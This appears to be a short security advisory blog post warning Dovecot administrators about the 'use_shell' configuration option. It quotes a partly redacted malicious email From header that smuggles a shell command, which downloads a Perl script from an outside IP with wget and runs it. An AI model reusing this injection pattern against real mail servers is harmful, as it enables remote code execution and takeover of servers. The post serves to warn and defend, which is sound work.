One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server.  The exploit partially looked like this:

From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com

(Obviously edited for your safety, and I didn't post the whole thing.)

This is an exploit against Dovecot that is using the feature "use_shell" against itself.  This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration.  We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter.  Or if you are, make darn sure you know what you are doing, and how to defend yourself.

-- Joel Esler | http://blog.joelesler.net | http://twitter.com/joelesler